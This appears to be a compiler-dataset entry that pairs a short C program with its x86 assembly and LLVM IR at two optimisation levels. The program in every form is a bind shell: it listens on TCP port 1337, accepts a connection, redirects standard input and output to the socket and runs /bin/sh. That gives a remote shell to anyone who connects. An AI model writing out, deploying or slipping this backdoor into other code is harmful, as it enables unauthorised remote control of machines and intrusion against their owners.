#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ srv_addr;
typedef int socklen_t;
typedef int /*<<< orphan*/ cli_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ IPPROTO_IP;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ listen(int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  int i;
  int sockfd;
  int clientfd;
  socklen_t socklen;
  struct sockaddr_in srv_addr;
  struct sockaddr_in cli_addr;
  srv_addr.sin_family = AF_INET;
  srv_addr.sin_port = htons(1337);
  srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
  listen(sockfd, 0);
  socklen = sizeof(cli_addr);
  clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen);
  for (i = 0; i <= 2; i++)
    dup2(clientfd, i);
  execve("/bin/sh", NULL, NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2e52(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
mov    $0x539,%edi
call   1030 <htons@plt>
mov    %eax,-0x1c(%rbp)
mov    0x2e29(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,-0x20(%rbp)
mov    0x2e28(%rip),%rax
mov    (%rax),%edi
mov    0x2dff(%rip),%rax
mov    (%rax),%esi
mov    0x2e0e(%rip),%rax
mov    (%rax),%edx
call   10a0 <socket@plt>
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   1080 <bind@plt>
mov    -0xc(%rbp),%edi
xor    %esi,%esi
call   1070 <listen@plt>
movl   $0xc,-0x14(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x30(%rbp),%rsi
lea    -0x14(%rbp),%rdx
call   1090 <accept@plt>
mov    %eax,-0x10(%rbp)
movl   $0x0,-0x8(%rbp)
cmpl   $0x2,-0x8(%rbp)
jg     123b <main+0xbb>
mov    -0x10(%rbp),%edi
mov    -0x8(%rbp),%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    1218 <main+0x98>
lea    0xdbe(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1060 <execve@plt>
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x30,%rsp
mov    0x2e5c(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x18(%rsp)
mov    $0x539,%edi
call   1030 <htons@plt>
mov    %eax,0x14(%rsp)
mov    0x2e31(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,0x10(%rsp)
mov    (%rbx),%edi
mov    0x2e0d(%rip),%rax
mov    (%rax),%esi
mov    0x2e1c(%rip),%rax
mov    (%rax),%edx
call   10a0 <socket@plt>
mov    %eax,%ebx
lea    0x10(%rsp),%rsi
mov    %eax,%edi
mov    $0xc,%edx
call   1080 <bind@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1070 <listen@plt>
movl   $0xc,0xc(%rsp)
lea    0x20(%rsp),%rsi
lea    0xc(%rsp),%rdx
mov    %ebx,%edi
call   1090 <accept@plt>
mov    %eax,%ebx
mov    %eax,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xdd6(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbx
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_IP = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = alloca %struct.sockaddr_in
store i32 0, i32* %1
%8 = load i32, i32* @AF_INET
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 2
store i32 %8, i32* %9
%10 = call i32 @htons(i32 1337)
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 1
store i32 %10, i32* %11
%12 = load i32, i32* @INADDR_ANY
%13 = call i32 @htonl(i32 %12)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 0
%15 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %14, i32 0, i32 0
store i32 %13, i32* %15
%16 = load i32, i32* @AF_INET
%17 = load i32, i32* @SOCK_STREAM
%18 = load i32, i32* @IPPROTO_IP
%19 = call i32 @socket(i32 %16, i32 %17, i32 %18)
store i32 %19, i32* %3
%20 = load i32, i32* %3
%21 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%22 = call i32 @bind(i32 %20, %struct.sockaddr* %21, i32 12)
%23 = load i32, i32* %3
%24 = call i32 @listen(i32 %23, i32 0)
store i32 12, i32* %5
%25 = load i32, i32* %3
%26 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
%27 = call i32 @accept(i32 %25, %struct.sockaddr* %26, i32* %5)
store i32 %27, i32* %4
store i32 0, i32* %2
br label %28
28: ; preds = %35, %0
%29 = load i32, i32* %2
%30 = icmp sle i32 %29, 2
br i1 %30, label %31, label %38
31: ; preds = %28
%32 = load i32, i32* %4
%33 = load i32, i32* %2
%34 = call i32 @dup2(i32 %32, i32 %33)
br label %35
35: ; preds = %31
%36 = load i32, i32* %2
%37 = add nsw i32 %36, 1
store i32 %37, i32* %2
br label %28
38: ; preds = %28
%39 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
%40 = load i32, i32* %1
ret i32 %40
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_IP = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca %struct.sockaddr_in
%3 = alloca %struct.sockaddr_in
%4 = bitcast i32* %1 to i8*
%5 = bitcast %struct.sockaddr_in* %2 to i8*
%6 = bitcast %struct.sockaddr_in* %3 to i8*
%7 = load i32, i32* @AF_INET
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 2
store i32 %7, i32* %8
%9 = tail call i32 @htons(i32 1337)
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 1
store i32 %9, i32* %10
%11 = load i32, i32* @INADDR_ANY
%12 = tail call i32 @htonl(i32 %11)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 0, i32 0
store i32 %12, i32* %13
%14 = load i32, i32* @AF_INET
%15 = load i32, i32* @SOCK_STREAM
%16 = load i32, i32* @IPPROTO_IP
%17 = tail call i32 @socket(i32 %14, i32 %15, i32 %16)
%18 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%19 = call i32 @bind(i32 %17, %struct.sockaddr* %18, i32 12)
%20 = call i32 @listen(i32 %17, i32 0)
store i32 12, i32* %1
%21 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%22 = call i32 @accept(i32 %17, %struct.sockaddr* %21, i32* %1)
%23 = call i32 @dup2(i32 %22, i32 0)
%24 = call i32 @dup2(i32 %22, i32 1)
%25 = call i32 @dup2(i32 %22, i32 2)
%26 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}